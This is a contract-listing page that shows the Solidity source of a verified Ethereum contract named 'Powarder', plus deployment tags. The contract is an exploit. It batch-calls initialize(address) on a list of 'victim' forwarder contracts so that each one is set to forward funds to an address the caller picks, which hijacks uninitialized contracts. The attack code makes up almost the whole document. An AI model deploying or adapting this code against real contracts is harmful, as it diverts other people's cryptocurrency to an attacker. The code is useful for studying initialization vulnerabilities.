Powarder

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Porwarder {
    function destination() external view returns (address payable);
    function initialize(address payable _destination) external;
}

contract Powarder {
    error InitializeFailed(address victim, address destination, bytes reason);
    event ForwardingSetup(
        address indexed victim,
        address destination,
        bool success
    );

    function setupPorwarding(
        address[] memory victims,
        address payable[] memory destinations
    ) external {
        require(victims.length == destinations.length, "Array length mismatch");
        for (uint256 i = 0; i < victims.length; i++) {
            (bool success, bytes memory reason) = victims[i].call(
                abi.encodeWithSignature("initialize(address)", destinations[i])
            );
            emit ForwardingSetup(victims[i], destinations[i], success);
            if (!success) {
                revert InitializeFailed(victims[i], destinations[i], reason);
            }
        }
    }
}

Tags:
addr:0xa4175c54a7c8ee7055e0174ad0818acd84d298b3|verified:true|block:23607632|tx:0x54d8908be9bcfc6c4909e9f45353a7e2a39264fd162575c132b106051a23c0a5|first_check:1760863606

Submitted on: 2025-10-19 10:46:47

Comments

Log in to comment.

No comments yet.